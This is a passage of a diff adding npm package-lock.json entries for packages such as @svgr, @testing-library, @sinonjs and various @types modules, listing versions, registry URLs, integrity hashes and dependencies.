+      "integrity": "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==",
+      "dependencies": {
+        "@rollup/pluginutils": "^3.1.0",
+        "magic-string": "^0.25.7"
+      },
+      "peerDependencies": {
+        "rollup": "^1.20.0 || ^2.0.0"
+      }
+    },
+    "node_modules/@rollup/pluginutils": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz",
+      "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==",
+      "dependencies": {
+        "@types/estree": "0.0.39",
+        "estree-walker": "^1.0.1",
+        "picomatch": "^2.2.2"
+      },
+      "engines": {
+        "node": ">= 8.0.0"
+      },
+      "peerDependencies": {
+        "rollup": "^1.20.0||^2.0.0"
+      }
+    },
+    "node_modules/@rollup/pluginutils/node_modules/@types/estree": {
+      "version": "0.0.39",
+      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz",
+      "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw=="
+    },
+    "node_modules/@rushstack/eslint-patch": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/@rushstack/eslint-patch/-/eslint-patch-1.2.0.tgz",
+      "integrity": "sha512-sXo/qW2/pAcmT43VoRKOJbDOfV3cYpq3szSVfIThQXNt+E4DfKj361vaAt3c88U5tPUxzEswam7GW48PJqtKAg=="
+    },
+    "node_modules/@sheerun/mutationobserver-shim": {
+      "version": "0.3.3",
+      "resolved": "https://registry.npmjs.org/@sheerun/mutationobserver-shim/-/mutationobserver-shim-0.3.3.tgz",
+      "integrity": "sha512-DetpxZw1fzPD5xUBrIAoplLChO2VB8DlL5Gg+I1IR9b2wPqYIca2WSUxL5g1vLeR4MsQq1NeWriXAVffV+U1Fw=="
+    },
+    "node_modules/@sinclair/typebox": {
+      "version": "0.24.44",
+      "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.24.44.tgz",
+      "integrity": "sha512-ka0W0KN5i6LfrSocduwliMMpqVgohtPFidKdMEOUjoOFCHcOOYkKsPRxfs5f15oPNHTm6ERAm0GV/+/LTKeiWg=="
+    },
+    "node_modules/@sinonjs/commons": {
+      "version": "1.8.3",
+      "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.3.tgz",
+      "integrity": "sha512-xkNcLAn/wZaX14RPlwizcKicDk9G3F8m2nU3L7Ukm5zBgTwiT0wsoFAHx9Jq56fJA1z/7uKGtCRu16sOUCLIHQ==",
+      "dependencies": {
+        "type-detect": "4.0.8"
+      }
+    },
+    "node_modules/@sinonjs/fake-timers": {
+      "version": "8.1.0",
+      "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz",
+      "integrity": "sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==",
+      "dependencies": {
+        "@sinonjs/commons": "^1.7.0"
+      }
+    },
+    "node_modules/@surma/rollup-plugin-off-main-thread": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz",
+      "integrity": "sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==",
+      "dependencies": {
+        "ejs": "^3.1.6",
+        "json5": "^2.2.0",
+        "magic-string": "^0.25.0",
+        "string.prototype.matchall": "^4.0.6"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-add-jsx-attribute": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz",
+      "integrity": "sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-remove-jsx-attribute": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz",
+      "integrity": "sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-remove-jsx-empty-expression": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz",
+      "integrity": "sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-replace-jsx-attribute-value": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz",
+      "integrity": "sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-svg-dynamic-title": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz",
+      "integrity": "sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-svg-em-dimensions": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz",
+      "integrity": "sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-transform-react-native-svg": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz",
+      "integrity": "sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-transform-svg-component": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz",
+      "integrity": "sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-preset": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-preset/-/babel-preset-5.5.0.tgz",
+      "integrity": "sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig==",
+      "dependencies": {
+        "@svgr/babel-plugin-add-jsx-attribute": "^5.4.0",
+        "@svgr/babel-plugin-remove-jsx-attribute": "^5.4.0",
+        "@svgr/babel-plugin-remove-jsx-empty-expression": "^5.0.1",
+        "@svgr/babel-plugin-replace-jsx-attribute-value": "^5.0.1",
+        "@svgr/babel-plugin-svg-dynamic-title": "^5.4.0",
+        "@svgr/babel-plugin-svg-em-dimensions": "^5.4.0",
+        "@svgr/babel-plugin-transform-react-native-svg": "^5.4.0",
+        "@svgr/babel-plugin-transform-svg-component": "^5.5.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/core": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/core/-/core-5.5.0.tgz",
+      "integrity": "sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ==",
+      "dependencies": {
+        "@svgr/plugin-jsx": "^5.5.0",
+        "camelcase": "^6.2.0",
+        "cosmiconfig": "^7.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/hast-util-to-babel-ast": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz",
+      "integrity": "sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ==",
+      "dependencies": {
+        "@babel/types": "^7.12.6"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/plugin-jsx": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz",
+      "integrity": "sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA==",
+      "dependencies": {
+        "@babel/core": "^7.12.3",
+        "@svgr/babel-preset": "^5.5.0",
+        "@svgr/hast-util-to-babel-ast": "^5.5.0",
+        "svg-parser": "^2.0.2"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/plugin-svgo": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz",
+      "integrity": "sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ==",
+      "dependencies": {
+        "cosmiconfig": "^7.0.0",
+        "deepmerge": "^4.2.2",
+        "svgo": "^1.2.2"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/webpack": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/webpack/-/webpack-5.5.0.tgz",
+      "integrity": "sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g==",
+      "dependencies": {
+        "@babel/core": "^7.12.3",
+        "@babel/plugin-transform-react-constant-elements": "^7.12.1",
+        "@babel/preset-env": "^7.12.1",
+        "@babel/preset-react": "^7.12.5",
+        "@svgr/core": "^5.5.0",
+        "@svgr/plugin-jsx": "^5.5.0",
+        "@svgr/plugin-svgo": "^5.5.0",
+        "loader-utils": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@testing-library/dom": {
+      "version": "6.16.0",
+      "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-6.16.0.tgz",
+      "integrity": "sha512-lBD88ssxqEfz0wFL6MeUyyWZfV/2cjEZZV3YRpb2IoJRej/4f1jB0TzqIOznTpfR1r34CNesrubxwIlAQ8zgPA==",
+      "dependencies": {
+        "@babel/runtime": "^7.8.4",
+        "@sheerun/mutationobserver-shim": "^0.3.2",
+        "@types/testing-library__dom": "^6.12.1",
+        "aria-query": "^4.0.2",
+        "dom-accessibility-api": "^0.3.0",
+        "pretty-format": "^25.1.0",
+        "wait-for-expect": "^3.0.2"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@testing-library/dom/node_modules/@jest/types": {
+      "version": "25.3.0",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-25.3.0.tgz",
+      "integrity": "sha512-UkaDNewdqXAmCDbN2GlUM6amDKS78eCqiw/UmF5nE0mmLTd6moJkiZJML/X52Ke3LH7Swhw883IRXq8o9nWjVw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^1.1.1",
+        "@types/yargs": "^15.0.0",
+        "chalk": "^3.0.0"
+      },
+      "engines": {
+        "node": ">= 8.3"
+      }
+    },
+    "node_modules/@testing-library/dom/node_modules/@types/yargs": {
+      "version": "15.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.4.tgz",
+      "integrity": "sha512-9T1auFmbPZoxHz0enUFlUuKRy3it01R+hlggyVUMtnCTQRunsQYifnSGb8hET4Xo8yiC0o0r1paW3ud5+rbURg==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@testing-library/dom/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@testing-library/dom/node_modules/ansi-styles": {
+      "version": "4.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
+      "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
+      "dependencies": {
+        "@types/color-name": "^1.1.1",
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/@testing-library/dom/node_modules/chalk": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
+      "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@testing-library/dom/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/@testing-library/dom/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/@testing-library/dom/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@testing-library/dom/node_modules/pretty-format": {
+      "version": "25.3.0",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-25.3.0.tgz",
+      "integrity": "sha512-wToHwF8bkQknIcFkBqNfKu4+UZqnrLn/Vr+wwKQwwvPzkBfDDKp/qIabFqdgtoi5PEnM8LFByVsOrHoa3SpTVA==",
+      "dependencies": {
+        "@jest/types": "^25.3.0",
+        "ansi-regex": "^5.0.0",
+        "ansi-styles": "^4.0.0",
+        "react-is": "^16.12.0"
+      },
+      "engines": {
+        "node": ">= 8.3"
+      }
+    },
+    "node_modules/@testing-library/dom/node_modules/supports-color": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
+      "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@testing-library/jest-dom": {
+      "version": "4.2.4",
+      "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-4.2.4.tgz",
+      "integrity": "sha512-j31Bn0rQo12fhCWOUWy9fl7wtqkp7In/YP2p5ZFyRuiiB9Qs3g+hS4gAmDWONbAHcRmVooNJ5eOHQDCOmUFXHg==",
+      "dependencies": {
+        "@babel/runtime": "^7.5.1",
+        "chalk": "^2.4.1",
+        "css": "^2.2.3",
+        "css.escape": "^1.5.1",
+        "jest-diff": "^24.0.0",
+        "jest-matcher-utils": "^24.0.0",
+        "lodash": "^4.17.11",
+        "pretty-format": "^24.0.0",
+        "redent": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8",
+        "npm": ">=6"
+      }
+    },
+    "node_modules/@testing-library/react": {
+      "version": "9.5.0",
+      "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-9.5.0.tgz",
+      "integrity": "sha512-di1b+D0p+rfeboHO5W7gTVeZDIK5+maEgstrZbWZSSvxDyfDRkkyBE1AJR5Psd6doNldluXlCWqXriUfqu/9Qg==",
+      "dependencies": {
+        "@babel/runtime": "^7.8.4",
+        "@testing-library/dom": "^6.15.0",
+        "@types/testing-library__react": "^9.1.2"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "peerDependencies": {
+        "react": "*",
+        "react-dom": "*"
+      }
+    },
+    "node_modules/@testing-library/user-event": {
+      "version": "7.2.1",
+      "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-7.2.1.tgz",
+      "integrity": "sha512-oZ0Ib5I4Z2pUEcoo95cT1cr6slco9WY7yiPpG+RGNkj8YcYgJnM7pXmYmorNOReh8MIGcKSqXyeGjxnr8YiZbA==",
+      "peerDependencies": {
+        "@testing-library/dom": ">=5"
+      }
+    },
+    "node_modules/@tootallnate/once": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",
+      "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/@trysound/sax": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz",
+      "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==",
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/@types/babel__core": {
+      "version": "7.1.19",
+      "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.1.19.tgz",
+      "integrity": "sha512-WEOTgRsbYkvA/KCsDwVEGkd7WAr1e3g31VHQ8zy5gul/V1qKullU/BU5I68X5v7V3GnB9eotmom4v5a5gjxorw==",
+      "dependencies": {
+        "@babel/parser": "^7.1.0",
+        "@babel/types": "^7.0.0",
+        "@types/babel__generator": "*",
+        "@types/babel__template": "*",
+        "@types/babel__traverse": "*"
+      }
+    },
+    "node_modules/@types/babel__generator": {
+      "version": "7.6.4",
+      "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.4.tgz",
+      "integrity": "sha512-tFkciB9j2K755yrTALxD44McOrk+gfpIpvC3sxHjRawj6PfnQxrse4Clq5y/Rq+G3mrBurMax/lG8Qn2t9mSsg==",
+      "dependencies": {
+        "@babel/types": "^7.0.0"
+      }
+    },
+    "node_modules/@types/babel__template": {
+      "version": "7.4.1",
+      "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.1.tgz",
+      "integrity": "sha512-azBFKemX6kMg5Io+/rdGT0dkGreboUVR0Cdm3fz9QJWpaQGJRQXl7C+6hOTCZcMll7KFyEQpgbYI2lHdsS4U7g==",
+      "dependencies": {
+        "@babel/parser": "^7.1.0",
+        "@babel/types": "^7.0.0"
+      }
+    },
+    "node_modules/@types/babel__traverse": {
+      "version": "7.18.2",
+      "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.18.2.tgz",
+      "integrity": "sha512-FcFaxOr2V5KZCviw1TnutEMVUVsGt4D2hP1TAfXZAMKuHYW3xQhe3jTxNPWutgCJ3/X1c5yX8ZoGVEItxKbwBg==",
+      "dependencies": {
+        "@babel/types": "^7.3.0"
+      }
+    },
+    "node_modules/@types/body-parser": {
+      "version": "1.19.2",
+      "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.2.tgz",
+      "integrity": "sha512-ALYone6pm6QmwZoAgeyNksccT9Q4AWZQ6PvfwR37GT6r6FWUPguq6sUmNGSMV2Wr761oQoBxwGGa6DR5o1DC9g==",
+      "dependencies": {
+        "@types/connect": "*",
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/bonjour": {
+      "version": "3.5.10",
+      "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.10.tgz",
+      "integrity": "sha512-p7ienRMiS41Nu2/igbJxxLDWrSZ0WxM8UQgCeO9KhoVF7cOVFkrKsiDr1EsJIla8vV3oEEjGcz11jc5yimhzZw==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/color-name": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@types/color-name/-/color-name-1.1.1.tgz",
+      "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ=="
+    },
+    "node_modules/@types/connect": {
+      "version": "3.4.35",
+      "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.35.tgz",
+      "integrity": "sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/connect-history-api-fallback": {
+      "version": "1.3.5",
+      "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.3.5.tgz",
+      "integrity": "sha512-h8QJa8xSb1WD4fpKBDcATDNGXghFj6/3GRWG6dhmRcu0RX1Ubasur2Uvx5aeEwlf0MwblEC2bMzzMQntxnw/Cw==",
+      "dependencies": {
+        "@types/express-serve-static-core": "*",
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/eslint": {
+      "version": "8.4.6",
+      "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.4.6.tgz",
+      "integrity": "sha512-/fqTbjxyFUaYNO7VcW5g+4npmqVACz1bB7RTHYuLj+PRjw9hrCwrUXVQFpChUS0JsyEFvMZ7U/PfmvWgxJhI9g==",
+      "dependencies": {
+        "@types/estree": "*",
+        "@types/json-schema": "*"
+      }
+    },
+    "node_modules/@types/estree": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz",
+      "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw=="
+    },
+    "node_modules/@types/express": {
+      "version": "4.17.14",
+      "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.14.tgz",
+      "integrity": "sha512-TEbt+vaPFQ+xpxFLFssxUDXj5cWCxZJjIcB7Yg0k0GMHGtgtQgpvx/MUQUeAkNbA9AAGrwkAsoeItdTgS7FMyg==",
+      "dependencies": {
+        "@types/body-parser": "*",
+        "@types/express-serve-static-core": "^4.17.18",
+        "@types/qs": "*",
+        "@types/serve-static": "*"
+      }
+    },
+    "node_modules/@types/express-serve-static-core": {
+      "version": "4.17.31",
+      "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.31.tgz",
+      "integrity": "sha512-DxMhY+NAsTwMMFHBTtJFNp5qiHKJ7TeqOo23zVEM9alT1Ml27Q3xcTH0xwxn7Q0BbMcVEJOs/7aQtUWupUQN3Q==",
+      "dependencies": {
+        "@types/node": "*",
+        "@types/qs": "*",
+        "@types/range-parser": "*"
+      }
+    },
+    "node_modules/@types/graceful-fs": {
+      "version": "4.1.5",
+      "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.5.tgz",
+      "integrity": "sha512-anKkLmZZ+xm4p8JWBf4hElkM4XR+EZeA2M9BAkkTldmcyDY4mbdIJnRghDJH3Ov5ooY7/UAoENtmdMSkaAd7Cw==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/html-minifier-terser": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz",
+      "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg=="
+    },
+    "node_modules/@types/http-proxy": {
+      "version": "1.17.9",
+      "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.9.tgz",
+      "integrity": "sha512-QsbSjA/fSk7xB+UXlCT3wHBy5ai9wOcNDWwZAtud+jXhwOM3l+EYZh8Lng4+/6n8uar0J7xILzqftJdJ/Wdfkw==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/istanbul-lib-coverage": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.1.tgz",
+      "integrity": "sha512-hRJD2ahnnpLgsj6KWMYSrmXkM3rm2Dl1qkx6IOFD5FnuNPXJIG5L0dhgKXCYTRMGzU4n0wImQ/xfmRc4POUFlg=="
+    },
+    "node_modules/@types/istanbul-lib-report": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
+      "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "*"
+      }
+    },
+    "node_modules/@types/istanbul-reports": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-1.1.1.tgz",
+      "integrity": "sha512-UpYjBi8xefVChsCoBpKShdxTllC9pwISirfoZsUa2AAdQg/Jd2KQGtSbw+ya7GPo7x/wAPlH6JBhKhAsXUEZNA==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "*",
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/@types/json-schema": {
+      "version": "7.0.11",
+      "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.11.tgz",
